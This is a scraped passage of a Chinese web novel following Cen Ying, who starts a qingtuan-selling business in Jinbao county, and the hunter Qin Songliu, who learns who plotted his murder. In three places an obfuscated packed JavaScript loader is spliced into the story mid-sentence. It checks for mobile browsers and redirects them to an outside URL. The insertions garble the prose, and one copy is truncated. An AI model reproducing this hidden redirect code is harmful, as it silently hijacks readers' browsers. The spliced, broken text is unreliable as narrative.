掌柜的思索片刻,回答道“齐家村我知道,可对我们小店来说太远了。我这小店还得补充各种东西开门做生意,不如明日我家伙计前去镇上采买,就将你们一同送去,到时你们另寻车驾吧。就……收你们十文。” 从客栈到镇上,骡车需跑一个时辰,如此收费倒也合理。 岑应将他自己的铜板掏出来付钱,他付不起租车的钱,但这些他还是能给得起的,总不能白占人家便宜。 “劳烦掌柜差伙计同我去将人从山那头观音庙中拉下来,今晚我二人在这留宿一晚。”岑应递给掌柜二十文,剩下的四文钱是托客栈的人前去将秦松柳带过来出的。 秦松柳虽然一直躺着,但岑应看得出来,秦松柳身形比他高壮许多,他一个人是无法将秦松柳带下山还走过来的。 掌柜的将钱收下应了,招呼着店小二和岑应一同上山。待走出客栈一段距离,岑应又额外给店小二塞了些钱。有额外的收入,店小二更尽心尽力,将秦松柳稳稳地从山上背下来,看秦松柳浑身脏兮兮的,到客栈后更是主动提水给二人梳洗。 岑应告知秦松柳第二日掌柜会让人送他们到镇上,“到时正好可以去看看大夫,这样上路才更稳妥。” 秦松柳点头,“真是多谢岑夫郎了,劳累许久快去歇息吧。” 岑应闻言也不多待,将水留给秦松柳自己擦拭,打算叫些正经饭食。 刚到大堂就遇到店小二,“郎君身上有伤,夫郎怎不与郎君擦洗?”岑应汗颜,这小二竟是将二人当成了夫夫。 “我们并不是夫夫。?岑应有些尴尬。 不是夫夫,难道是兄弟?“那看来是兄弟了,是我错认,夫郎勿怪。”店小二脸上露出讨好的笑。 “无事,我正好要去寻你。我这兄长腿上受了伤,劳烦兄弟准备些清淡的饭菜来。”岑应没有反驳兄弟这个关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234051|166002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系,总比被说成夫夫好。 小二应了,岑应又托他给秦松柳送到房里去,自个到大厅吃了些就回房歇息了。 第二日,清晨。 店小二套好了骡车就将秦松柳背出来放到板车上,岑应坐在板车后边,三人就这样溜溜哒哒地往镇上去。秦松柳不好盯着别家夫郎的背影看,只好望了一路的天,店小二时不时与二人搭话,话话家常。 岑应托店小二将二人送到镇上的医馆,又将钱结清,店小二与他们聊得投缘,主动将秦松柳背进去。还未踏进医馆,一股药味便飘入鼻中,小二将人放下又道过别就走了。 医馆里坐堂的大夫看过了伤口,又把了脉,开了一些外敷内用的药,听他们说要赶路又让学徒制成药丸,一下子就花去了一两银子。待看完病,岑应询问老大夫哪里可以雇用车马。 “出门左转,一直走,看到一个成衣铺再右转直走一段路就是了。”老大夫头发花白,但身子很是健朗。 “多谢先生,不知可否先将我兄长留在此次,待我租到了车再来接我兄长?”岑应对大夫一职十分尊重,能将那么多人的命救回来很是厉害。 老大夫摆摆手,示意无所谓。岑应得到应允后,也不耽搁,当即就前往目的地。 兄长?何时自己同岑夫郎是兄弟了。秦松柳并不知道昨日的小插曲,但想想也明白了其中的用意。 来到车马行,老板远远地就迎了上来。“夫郎想要什么?我这马、牛、驴、骡子都租。” “各是什么价。”岑应端声音,让自己看起来成熟一些。 “马最贵,其次是牛、骡子、驴,剩下的要看夫郎要做何用了。”老板领着岑应去看那些个牲畜,都是壮实有力的。 “去进宝县齐家村。”岑应对这些牲畜的样子很是满意,不知道老板是怎么养的,这般结实。 “这到进宝县还需百十里,我也不收夫郎多少价。这样,马二两、骡一两半、驴八钱,牛不适合赶远路,若是套车则再加二钱银子。”掌柜报过价,想来这些价格就差在赶路的速度上了。 “若是想路上稳些,哪个比较合适。”秦松柳身上有伤未好,路上还是稳些比较好。 “想要稳便租骡子吧,虽然没有马走得快但比马稳些,再加一钱银子换个好些的车就是。”老板说完,岑应点头,那就这样。 付了钱,岑应让他们晚点到医馆去接人。自己则去采买干粮,还买了两个陶罐装水。 等岑应回到医馆,车马行的人也来了。将秦松柳抬上车,收拾好东西,就朝着进宝县方向去,岑应将剩下的银钱递给秦松柳,告诉他花去了哪里、花去了哪些。 秦松柳并未收下,“岑夫郎先拿着,路上吃饭、住宿都是要使银子的。” 岑应不依,仍将钱塞过去。“路上是路上,我出我的,你出你的。你让我一同乘车我已经很感谢了,还是算清楚一些比较好。” 秦松柳无法,知道岑应铁了心不用他的钱,只能作罢。一路上二人说说笑笑、话话家常,倒也不无聊。到进宝县后,岑应已经得知秦松柳父母俱亡,做的是猎户行当,和一个妹妹相依为命,此次意外是被相识之人算计了。 如何算计的岑应没有多嘴问。 6. 路遇祖孙三人 去齐家村需经过进宝县城,岑应同秦松柳告别,往进宝县城去。 秦松柳坐在车上,目送岑应进了县城,才让车夫驾车离开。 岑应漫步在进宝县中有点看花了眼,不愧是岐州商人往来之地,真是十分热闹繁华。 这条街上全是小摊,应该是专供百姓摆摊的地方。有卖吃食的、有卖胭脂水粉的、也有卖山货的……不论是男子还是哥儿、姐儿都卖力地揽客吆喝,岑应走过,冲他吆喝的人他回答都回答不过来。几个孩子在街上穿梭,嬉笑打闹,其中一个还撞到了岑应腿上。 岑应将孩子扶稳,那孩子也不说话,就仰着一张小脸冲岑应笑,手里还拿着沾了口水的糖葫芦,岑应摸了摸他的头。小孩儿见玩伴在远处打闹,又转过头冲出去向同伴扑去。 岑应想,他是喜欢这里的。 岑应在不远的馄饨摊上要了一晚馄饨,八文钱一碗,味道中规中矩,但胜在馄饨皮薄、汤鲜美。岑应一边吃,一边看着这热闹的街景,心情愉悦。 吃完馄饨,岑应跟摊主打听县中哪里住宿物美价廉,摊主给他指了运来客栈的位置。岑应按摊主的指引,来到运来客栈,在门口揽客的小二里面凑上来。“夫郎,打尖还是住店?” “住店。”岑应随店小二走进客栈,看这客栈虽不大,但不论是店小二身上还是大堂里头都很干净。 “上房三十五文一日,普通房间二十文一日,客人您看是住什么房。”店小二将汗巾往肩上一甩,同岑应介绍起来。 竟比之前住的那家客栈还贵了一半!虽然做好了县城物价贵的准备,但岑应还是被这价格惊到了,看来得尽快有所收入,不然恐怕没多久自己真是得去要饭了。 店小二看岑应表情,知道他嫌贵,再看他身上的衣衫也是又灰又旧。不过小二也没有因此轻怠他,跟他解释。“夫郎我们这运来客栈在县城中已经算得上划算,您要是去别的客栈,光普通客房就得二十五文钱。” 岑应点头表示自己知道了,这些个价钱出门一打听都会知道,想来这小二也不会骗他。付了二十文,将东西安置好了就出门看哪里有活可做。 岑应边走边在街上观察,发现在进宝县,摆摊的小贩很多,而且看着生意都还过得去。他走到一家卖包子的摊子前,打算问询一番。 “小哥,敢问在这街市中摆摊需准备些什么。”岑应看这人憨厚老实,特来问他。 “你……你说摆摊啊,这没什么要准备的,就是每日要交两文摊位费。”小哥看那么好看的夫郎同他说话,脸颊爬上一抹红。 “若我不摆摊,只是在城中走着吆喝贩卖,官差可会驱赶?”岑应此时心中有了些想法。 “这不会,只要你不扰乱城中秩序,官差大人一般是不管的。” “多谢。”岑应道了谢,又买了两个包子打算继续在城中观察,获取更多的信息。小哥收了钱,脸还红着,望着岑应离开的背影发呆。旁边的人打趣他,让他赶紧娶亲。 岑应打算像他姥爷一样,做个走街串巷的货郎。自己有生意总好过去给人做活,而且自己一看就是外乡人,怕被欺。 寻常货郎需担着整两箱货物走上一天,岑应没有这么好的体力,带的东西太少,生意也做不起来,得好好琢磨,贩卖一些有新意的、但又轻便。 吃食?他不会做,从小到大王四娘除烧火外,其他时候都是不许他进厨房的;寻常货物?价不贵若是不能大量贩售,是赚不到什么钱的;胭脂水粉?进价太贵,怕是去进货都进不到几盒…..这不可行,那不可行,烦得岑应想跳起来大喊一声烦。 此时一老妪与俩小儿走过,三人手拉着手,站成一排。最小的女孩看起来五岁多,许是走累了还是如何,瘪着嘴要哭不哭。“阿奶我累,……” 老妪背着背篓,轻声安慰。“乖哦、乖哦,再走一段路就去休息了。” 稍大的男孩看起来七岁左右,拍了拍自己胸脯,“妹妹别哭!我抱你。”说罢一把将女孩抱起,可因为起身时没有站稳一下子将人摔了,自己也往前扑去,结结实实地压在小女孩身上。顿时,两个孩子哭成一片。 “明明在家还能抱得动的,我不是故意的……”小男孩用手抹着眼泪,伸手要去拉妹妹。老妪急得心肝心肝直叫,但因为后面背着东西加上年纪大了弯不下腰来。 岑应忙上前,将两个孩子拉起来,又仔细检查了一下,两个孩子都没受伤。 “多谢夫郎、多谢夫郎,大宁、小莲,还不快谢谢夫郎。”老妪向岑应道谢,眼睛有些濡湿,觉得自己没有照顾好两个孙儿。 “谢谢夫郎。”两个孩子齐声道谢,嗓音中的哭意还未散去。 “无事无事,阿婆你看两个孩子也没什么力气了,不如寻个稍作歇息。”岑应将刚刚买的包子递给两个孩子,小莲开开心心地吃起来,倒是大宁捏在手里望向老妪。 “快吃吧,两个包子而已。”岑应呼撸了一把大宁的头,觉得手感不错又撸了一把。 “真是多谢夫郎了。”说罢老妪将背后的背篓放在地上,从里边掏出两个青团递给岑应。“这是老婆子我自个做的吃食,夫郎若是不嫌弃,拿起试试。” 岑应有些好奇地捏了捏这用树叶包起来的东西,软软的、还有一股艾草味,“这是何物?” “是我家乡地带的吃食,将艾草熬成泥,再用糯米粉和在一起搓成圆,上锅蒸熟,便是这青团。”老妪将包在外面的树叶剥开,示意岑应尝一尝。 岑应咬了一口,只觉软糯弹牙,还带着香气。“阿婆手艺很是不错呢。”岑应笑眼眯眯,一口接一口,很快就吃完了一个。 老妪看他喜欢,又想多拿几个出来给他,徐应连忙阻止。“使不得,阿婆这是要去哪里,我送你一程吧。” 老妪摆摆手,“多谢夫郎好意,这几日从山中挖了些春笋,想着到县上卖了换些钱。” 原是如此,岑应点点头,正想说什么,脑袋里突然闪过一个主意。 “阿婆,这进宝县中可有人贩卖这青团?”岑应想着,这青团他尝着味道不错,进宝县中若不常见,应该能卖出去。 老妪摇摇头,“应该不曾?青团是江南地区的吃食,进宝县中江南人士应该不多。” “既如此,我有个生意想同阿婆谈,不知阿婆愿不愿意。”岑应笑道。 “夫郎可别打趣我老婆子了,我哪能做什么生意?”老妪觉得岑应在同她开玩笑。 “是这样,我原是夫君病逝,前来进宝县投靠亲戚,谁知亲戚早就不知道搬到何处去了。虽已找不到亲人在何处,但日子还得过下去,今日我见你这青团味道好,不知……”岑应未将话说完,将目光投向老妪。 “你是想卖青团?”老妪有些惊讶,这青团她来到进宝县后常做,以此思念家乡,只是不曾想过拿去卖。 岑应点点头,“是,既然进宝县内无人售卖那就可以一试” “这……?”老妪有些犹豫,她同这夫郎才见过一面,有些害怕这人是骗子。 “阿婆只管做,剩下的交给我。”随后从身上掏出来二十文递给老妪,“这是订钱,剩下的我能将东西做好我再结。” 老妪有些晕乎乎的,刚刚还疑心此人是骗子呢,这人就将钱给她,哪有骗子花二十文去骗几个青团的。想到家中还在吃药的儿子,老妪点点头,算是答应了。 “明日辰时,我将青团与夫郎送来。老婆子姓梁,家住离县城不远的齐家村,这是我两个孙儿齐宁、齐莲。” “好,到时阿婆将东西送到运来客栈,就说找岑夫郎”真是瞌睡了就有人递枕头,岑应谈完这桩生意很是高兴,只希望明日这青团生意能做起来。只是齐家村,怎么有点耳熟呢。 同祖孙三人告别,岑应正要走,梁阿婆又叫住他。 “岑夫郎留步,不知夫郎可要包馅的青团?“ ”包馅?“这玩意还能包馅呀原来。 说到这个梁阿婆有些不好意思,“寻常青团都是有馅的,只是家中有些困难,便没有包。夫郎若是需要,可将这笋子剁碎,炒制一番做咸口青团。” “有咸的,那是不是还有甜的?”没有馅的青团味道都不错,有馅的想来也不会差到哪去。 梁阿婆点头。“是,但糖贵,家中不曾备有。” “无事无事,那边做一半包馅,一半不包馅的。就……各十五个罢!”县城人多,岑应觉得三十个青团还是能卖出去的。 商定好一切后,梁阿婆带着笋和两个孙儿回齐家村,岑应则继续在县城中走动,看看哪里适合卖青团。 而此时的齐家村秦家,正鸡飞狗跳。秦松柳坐在一张木椅上,秦芳躲在他的身后,露出一双眼睛看着正在地上撒泼的人。 “天杀的泼才,大成可是你兄弟,你怎么能报官抓他,你这狼心狗肺的。要不是我公爹,你秦家早就绝了后,我公爹去了,你秦家就这般恩将仇报害他唯一的儿子,天杀的……”地上的夫郎一边哭一边在地上打滚。 秦松柳让秦芳出门去找刘娘子,秦芳抓着他的衣服,不想出去。“厨房装一碗米送给刘娘子,哥哥不在家一直是刘娘子照顾你,你要好好谢谢她知道吗。”秦松柳拍了拍秦芳的手,示意她快去。 秦松柳这般,秦芳只能去,只是一步三回头的。 等秦芳出了院门,秦松柳才将脸上温和的神情收敛,双眸带着寒意,看向地上还在闹腾的人。“齐叔对秦家的恩情我早已还清,我并未报官,齐大成为何多日不曾回家你当真不知情?” 秦松柳目光灼灼,好似要将人看透。张夫郎坐在地上,汗顺着鬓角往下滑落。他原以为齐大成多日不回家,是因为事情败露,秦松柳报官将人抓了。 秦父原本是走镖的,在护送货物的途中遇到劫匪,当时秦父这队镖师全死在刀下。消息传回齐家村时,秦母已接近产期,听到消息惊动了胎气,难产生下秦芳便撒手人寰。秦芳生下来能发出声音,却不讲话,与人交流要么是靠比划,要么是啊、啊的叫,胆子也小,不爱与人接触。 彼时十二岁的秦松柳带着刚刚出生的秦芳,又当哥又当爹,秦父因常年走镖,故秦家没有田地,兄妹二人只能靠着秦父留下的五两银子过日子。有次秦松柳二伯盯上了大哥留下的遗产,骗不过来就打算明抢,是大成爹帮了秦家兄妹一把。 大成爹年轻时与秦父是好友,秦父当年分了家,是大成爹建议他到秦家村落户的。秦父去后,大成爹没少照顾秦松柳兄妹,秦松柳去县城中做苦力时都是大成娘在带着秦芳,后来秦松柳随着老猎户上山打猎时,秦芳有次发了高热,也是大成爹、娘带着秦芳连夜赶去县城医馆救治,是以秦松柳很是感激夫妇二人。 大成爹逝世时,便请秦松柳日后多多照看大成娘。当时十六岁秦松柳已经靠着做猎户行当日子过得不错,大成爹看在眼里很是欣慰,下去了能和老友有所交代,唯一放心不下的就是混账儿子。 夫妇二人对唯一的儿子多少有些溺爱,发现齐大成染上赌钱的习惯时,也都是轻轻放过。前几年闹着要娶张夫郎,夫妇二人想着齐大成娶了亲、成了家就不会再过混账日子,谁知这张夫郎进门,整日瘫在床上等着婆婆伺候,对齐大成去赌钱一事也是无所谓,反正赌输了公婆总会替他还钱。 大成爹去世后,齐大成仍不知悔改,几次三番去偷大成娘的银钱去赌,无论大成娘怎么哭怎么打齐大成,齐大成就是不改,有次争执中齐大成甚至将人推倒在地。齐大成舅舅还在世,听说这事当即将妹妹接走了,后来更是不许妹妹同齐大成见面。大成娘拗不过哥哥,更是被唯一的孩子寒了心,从那以后再也没管过齐大成。 这次之后,齐大成夫夫便将主意打到了秦松柳兄妹二人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234052|166002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身上。仗着大成爹的恩情,每次秦松柳打猎下山,总来挑挑拣拣,拿走好些猎物。将秦芳接过去说是代为照顾,其实是私吞秦松柳给秦芳的口粮,还指使秦芳为他们夫夫二人洗衣做饭、打扫卫生。 可怜秦芳那段时间人越来越瘦小,也不爱与人交流。后来等秦松柳发现这事时,秦芳已经瘦得只剩一把骨头架子。秦松柳将齐大成打了一顿,扔了一两银子给他,只说以后不会再管他,百年之后自向齐叔请罪,不过秦松柳每年仍给大成娘送一次猎物和攒下来的皮子。 齐大成没了在秦松柳这边的进项,又欠了赌坊很多钱,每日被追债的人撵得四处跑。这日又被赌坊的大手揍了一顿,撂下话说三日后再不将欠的钱还上就打断他的手和脚。齐大成跑去舅舅家,却被几个表哥赶了出来,就在他准备收拾东西和张夫郎跑路时,有个人找上门来。 那人也是做猎户的,姓王双眼布满红血丝,面颊消瘦。因秦松柳抢了他好几个大主顾,就恨上了秦松柳。他打听了秦家与齐大成家的事后,便找上了齐大成,让他将秦松柳带到一个地方,事成之后给齐大成三两银子。 “五两。”张夫郎在门外听到,忙冲起来打断,怕齐大成三两银子便应了。 王猎户皱眉,不满张夫郎打断,猛拍桌子大吼,“关你什么事!” “我……我夫郎说得对,五两!”齐大成被吓了一跳,还是开口应和道,“不过你得告诉我你要将那姓秦的引到哪里去,做什么。” “你放心,到时自有人同你引路,齐郎君只需将人带过去便是。”王猎户露出一个狞笑,掏出三两银子,扔到桌上。“这是定金,事成后再给你剩下的。” 齐大成连忙将银子踹在怀里,点头答应。送走王猎户后同张夫郎一齐商议,如何让秦松柳松口答应。 “那姓秦的不是最疼他妹子了吗,明日你去同他好好说,要是他不同意我们将找他妹子去。”张夫郎给齐大成出了个主意。 齐大成应了,第二天去找秦松柳不出意外地被人请走了。二人见如此便天天去找秦芳,秦芳本就对他们夫夫二人有阴影,被吓得门都不出了。秦松柳前去理论,那齐大成竟跪下。 “大柳,你就帮哥这一把吧,家里实在没有钱了,哥能不能活下去全靠山上的宝贝了。你是猎户,对山中情况最是熟悉了,就当去保护哥。给这消息的人是县中有钱的少爷,定不会骗人。”齐大成哭得脸上都是眼泪鼻涕。 秦松柳不语,脸上也没什么表情,见状齐大成乘胜追击。“大柳,你就帮哥最后一次,等个拿到那宝贝换了钱,就再也不找你,哥发誓。我爹对你那么好,你可不能不帮我啊!” 秦松柳沉默半晌,松了口。“好,最后一次。” 齐大成得到回应开开心心地走了,秦松柳则往县城中去打听消息。可王猎户早就安排好了,任秦松柳如何打听,此事就是如此。 几日后,秦松柳将秦芳摆脱给隔壁刘娘子,便与齐大成出发山中寻找宝贝,途中加入了一个自称齐大成朋友林五的人。三人越走越远,来到那座山上,秦松柳怎么看都觉得只是一座普普通通的山,四处也都是寻常的草丛树木。正疑惑时,脑袋遭受重击。 秦松柳捂着脑袋,转过身去,正是林五,手中拿着木棒。林五见秦松柳一击未晕,打算又打一棍,却被秦松柳闪身躲过去。 “竟还能醒着,算是小瞧你了。”林五吹了一声口哨,顿时有几个人从草丛里钻出来,手上拿着武器。 秦松柳见状暗道不好,往山林深处跑去,几人穷追不舍。有个凶徒拿着把长刀,专往秦松柳腿上砍去,秦松柳躲避不及,被砍中了一刀。 他踉跄几步,见不远处有条河,一点都不敢松懈,全力跑过去,纵身一跃。噗通一声,水花翻涌,带着血色,人也不见了踪影。 几名歹人见秦松柳身上有伤,又掉进河里,以为他活不下来了,便离开。而齐大成早就吓得瑟瑟发抖,他以为那王猎户只是想给秦松柳一个教训,没想到居然买凶杀人!难怪要跑到百里外的山中来。 齐大成顺着河走,看到秦松柳被一棵垂在水面的树拦住了,连忙下水将人捞起来。 秦松柳此时已经晕了过去,齐大成不知所措,他没想过要秦松柳的命。 正不知该如何好时,余光瞄到不远处的破庙,连忙将人拖了进去。“这你可不能怪我!要不是你把我扔在一旁不管,我也不会答应那什么王猎户……要怪怪你自己。” 将人仍在里面,齐大成也不敢去要那剩下的二两银子,连忙跑下山去。 可一连多日,齐大成都没有回家。今日秦松柳刚回到家,张夫郎以为事情败露,齐大成被秦松柳报官抓了,这才上门来哭闹。 秦松柳气笑了,这齐大成哄骗他导致他差点死了,这张夫郎还敢来问他要人。“齐大成在哪我确实不知道,但事情到底是如何张夫郎还不说实话,恐怕得给人立衣冠冢了。”秦松柳知道齐大成夫夫二人虽会背地做些恶心人的事,但没胆子杀人。 张夫郎眼光躲闪,最后支支吾吾将事情说了。秦松柳气上加气,脸上的笑容更大了,自认从未对不起他们夫夫二人,到头来这俩蠢货为了五两银子就去坑害他。 张夫郎看秦松柳脸上的笑意,只觉得瘆人,干笑两声。“你大成哥虽然做得不对,但可从没想害你,秦兄弟你人脉广,你看能不能托人去寻你大成哥。” “我不记得有什么哥哥,那王猎户连买凶杀人的事都做得出,你二人同他合谋,只怕齐大成此时已凶多吉少。”王猎户此人秦松柳知道,此人嗜酒如命,稍有不顺心就打娘子孩子,捕猎时哪怕是看不上的猎物也要虐待致死,不曾想自己惹到了这种人。 张夫郎听他话后呜呜直哭,秦松柳并未理会。此次算自己命大,但王猎户若知道自己没死,恐怕不会善罢甘休,还得想个法子,解决这件事。 7. 开始做买卖 翌日,晨时。 梁阿婆带着三十个青团和大宁来到运来客栈,本来今日梁阿婆是不打算带孩子来的,但架不住大宁一直闹着要来。 客栈内岑应刚刚用完早饭,见到梁阿婆二人,拿起张饼递给大宁。 “大宁也来啦。” 大宁有些不好意思地接过饼子,捏在手里,想拿回家给妹妹吃。 梁阿婆将盖在篮子上的布掀开,里面是层层叠好的青团。“夫郎你看这些青团可好?叶子上有个小洞的是笋子馅。” 岑应接过篮子一看,只觉得清香扑鼻,每个青团也很饱满圆润。“阿婆的手艺当真好!” “不知这篮子能否今日借我一用。”岑应见到梁阿婆才想起来他还没有买装东西的物件。 “夫郎尽管拿去用,家中还有好几个呢。”梁阿婆家里的竹篮都是她卧病在床的儿子编的。 岑应接过篮子,将剩下的二十五文递给梁阿婆,这是他们昨日说好的价格。没馅的一文钱一个,笋子馅两文钱一个。接过钱,梁阿婆带着大宁离开,打算拿着这三十文去采买些粮食,晚些再来找岑应。 岑应给掌柜的拿了个笋子馅的青团,“掌柜的尝尝,这是江南特有美食,你在进宝县其他地方,保管见不到。” 掌柜的看穿岑应意图,也不说话,只将青团剥开送入口中。这一口下去可了不得,外皮软糯有嚼劲,笋子鲜甜略带点咸味。 “不错!”掌柜几口就解决了半个手掌大的青团。“夫郎去吧,能入账多少小店都不过问。” “真是多谢掌柜的了!”岑应喜笑颜开,他一开始就盯上了运来客栈这的客人。旁边的客人见岑应卖这青团,忙招呼过去,他最喜欢尝试新鲜的吃食了。 “夫郎,你这……” “青团。”没想到还没开始推销呢就有客人上门,岑应脸上笑意更甚。 “对,青团。听你说是江南特有的,怎么卖?”这客人今日要继续远行,正打算用些吃食好赶路。 “没馅的两文钱一个,笋子馅的三文一个。”这是岑应对标包子铺定下的价格,县中包子铺素包子两文钱一个,肉包子五文钱一个,糯米比面顶饱,岑应觉得自己定的这个价格还算合理。 “给我各来一个。”客人听见价格还算可以,很是痛快的要了两个。 一口下去,决定味道可以,当即就要了两个笋子馅的打算路上带着吃。岑应高兴地收了钱,又在铺子里卖掉了三个没馅的和五个笋子馅的。没想到还没出运来客栈就快卖了一半,岑应当即斗志满满,提着竹篮出门去。 岑应来到之前打他消息的那条街—西街市,找个了交叉路口,人流量大的地方吆喝起来。 “卖青团了,又香又糯的青团,江南特有美食。” 但凡有人走过多看岑应两眼便冲人笑,笑意和善又温柔。 “娘子,要买青团吗?” “夫郎要青团吗,江南特有美食。” 大家看归看,但还是没有什么人上前。看来生意也不是那么好做的,岑应并不气馁,吆喝得更卖力起来。 没一会,一个夫郎在岑应摊子前停下,袖子好似被什么扯着,岑应低头一看,发现是昨日撞在他腿上的孩子。那孩子见他望过来,忙往他阿姆身后躲,吸溜着鼻涕就探出一个头出来望着岑应。 “又见面啦”岑应还是挺喜欢孩子的,徐涛刚出世那会他抱过,只不过王四娘发现后就不许他抱了。 “夫郎见过我家这泼猴?”那夫郎将孩子从身后一把薅到身前。 “昨日他在街上同伙伴玩闹,不小心撞在我腿上了。”岑应伸手摸了摸孩子的头,正想拿开,被那孩子一把抓住手。 “原是如此,我说这皮猴子一直拽着我是要去哪里呢。夫郎一把将那孩子抱起来,在怀里掂了掂,那孩子还一直伸手想去拉岑应。 夫郎见状笑得又掂了掂孩子,故意去逗他,不让他去拉岑应。“我这小猴子看到好看的人老是如此,夫郎莫怪。” 岑应摇摇头,“不会,孩子很可爱。” 夫郎看到岑应篮子里的东西问,“这是青团吧。” “夫郎认得?”没想到那么快就遇到江南人士。 那夫郎点点头,“我婆母是江南人,故我听她说起过。但我婆母多年来并未下过厨房,加上进宝县没有人卖这个,所以我也是第一次见。” 岑应点点头,“夫郎要来几个吗,做这青团的婆子也是江南人,想来味道正宗。有笋子馅和单青团” 那夫郎也是爽快,“每样给我来三个。”岑应将东西递给夫郎,才发现自己的疏漏。在客栈时大多客人买了就立马吃,像这位夫郎一下子买许多个带回家的,却是不好拿来。 “抱歉啊夫郎,我今日第一天开门做生意,竟忘了给客人准备装青团的东西。”岑应同夫郎道歉。 “无事,左右我家近,我拿着便是。”夫郎家中就住西街市上。 岑应见状立马道,“既如此我给夫郎送家去。” 夫郎见岑应会来事,心中更是熨帖,见他坚持也没拒绝,便领着他往家里去。路上两人互通了姓名,孩子叫小乐,今年五岁。 岑应将东西送到他家,又多送了一个没馅青团,那夫郎推脱不过,便给他塞了一把自己炒的南瓜子。 岑应不到中午便陆陆续续卖掉了三十个青团,还有人没买到问明天还有没有的,岑应笑答说明日还来。 扣除付给梁阿婆的纯利润就是三十文,对于这个结果岑应是比较满意的,打算叫梁阿婆多做些,卖到下午。 回到运来客栈,缴了房费,岑应心痛,刚刚赚到钱还没捂热乎就花了出去。 梁阿婆和大宁是中午才回到运来客栈,见岑应看起来已经回来很久的样子,有些惊讶,没想到她做的东西当真有人买。 “阿婆回来啦!”岑应见到梁阿婆高兴地迎上去。 “岑夫郎,这是都卖掉了?”梁阿婆有些紧张,不知道生意好不好。 “是呢,生意好着呢,还有人没买到呢。”岑应笑得见牙不见眼,“所以要拜托阿婆你多做一些了。” “诶诶,要的。”梁阿婆也很开心,家中又多一个进项。 “奶奶我帮你做!”七岁的大宁已经懂事了,见岑应还要更多的青团,当即站出来要帮忙。 “好好,大宁给奶奶帮忙。”梁阿婆笑着摸了摸大宁的头,“不知夫郎明日打算要多少。” 岑应算了算今日卖掉的分量和卖出的速度,心中有了数字。“要五十个笋子馅和二十个无馅的。” “这么多?”梁阿婆有些惊讶。 岑应点头,“是要那么多。”进宝县如今开放夜市,就算白日卖不完,晚上他也能去卖。 “不过阿婆明日不必送来,我去取便是。”七十个青团太重了,梁阿婆年纪大了,不好背着那么重的东西走那么远路。 “背这点东西的力气我老婆子还是有的,夫郎可不能小瞧我。”岑应同她家做这桩生意,梁阿婆很是感激,怎么会让岑应这样一个夫郎背那么重的东西回县城。 “嗯嗯,大宁也会帮奶奶背,大宁可有力气!”大宁在一旁附和道。 “阿婆,不是我不让您来,只是可能需要更多的青团,到时候怎么好让阿婆做那么多青团还送货来。”岑应知道梁阿婆不会答应他,这个老人很是心地善良。 “我也不只是去拿青团,也正好去看看有什么东西可带到县城中来贩卖。”岑应用这个借口来劝说梁阿婆,当然他也是这么打算的。 见岑应那么坚持,梁阿婆也只能答应。见事情谈妥,岑应想留祖孙二人吃午饭,这次无论说什么梁阿婆都不应,带着大宁走得飞快,生怕岑应追上来请他们吃饭。 待梁阿婆走好,岑应给自己叫了碗清汤面,吃完休息休息就继续出门考察情况。 岑应流窜于各条街巷中,但凡能搭得上话都唠那么一两句,能得到有用的信息最好,得不到也能混个脸熟。于是进宝县中,大多人都对一位面善的岑夫郎有了印象。 岑应就这么从下午逛到了晚上,发现县城中贩卖山货的人很少。打听后才得知很多农户人家的山货都直供了酒楼或大户人家的厨房,平时要想买只能去粮食铺子或等农户人家赶大集或小集,才能买到一些。 岑应将这个消息记在心中,打算明天去齐家村时看看有没有合适的山货一起带出来卖掉,这般想着便去买了一个竹篮和一块布,方便以后卖什么可以摆在地上供人挑选。再买些油纸和细长麻绳,明日可不能再犯今日的错误。 走在回客栈的路上,岑应还在想着各种事情。 青团虽新鲜,但制作简单,懂点厨艺的人琢磨几番就能做出来,所以得趁这些日子多贩一些,到时另寻出路。 山货不知梁阿婆家有没有,那日她背出来的笋子倒是很不错,明天到齐家村……齐家村……对了,齐家村! 秦松柳不就是住在齐家村吗,难怪昨天梁阿婆起来自己觉得那么耳熟呢。也不知道秦松柳的伤怎么样了,明日不知道有没有机会见到他。 岑应还是挺喜欢跟秦松柳聊天的,特别是他说起自己打猎的过程,岑应听得那叫一个热血沸腾,恨不得亲自上阵。 对了,打猎!猎户人家一般都存有皮子,不知秦松柳家有没有,若是鞣制得不错自己也能收来镇上卖掉,看来真得去一趟秦家。 岑应构想着自己的货郎大业,仿佛看到一个个钱币排着队跳进自己口袋里,脸上嘿嘿笑着。 而这边被岑应惦记的秦家,此时正有客人上门。 秦松柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那师父有何方法。”秦松里虚心求教,论人情交往方面,周猎户可比他强得多。 “这事倒也好办,这王凡也是有弱点的。”周猎户吸了吸自己的酒糟鼻。 “弱点?”秦松柳只觉不可思议,这王凡都敢买凶杀人,不顾后果,还能有什么弱点。 “你可知他为何整日酗酒?”周猎户想到什么,嘿嘿一笑。 “?”秦松柳疑惑,“师父您说。” “猜都不猜,没意思。“周猎户嘟哝几句,“他年轻时虽然也爱饮酒、在打猎一事上做得也很一般,但人却也算正直。” 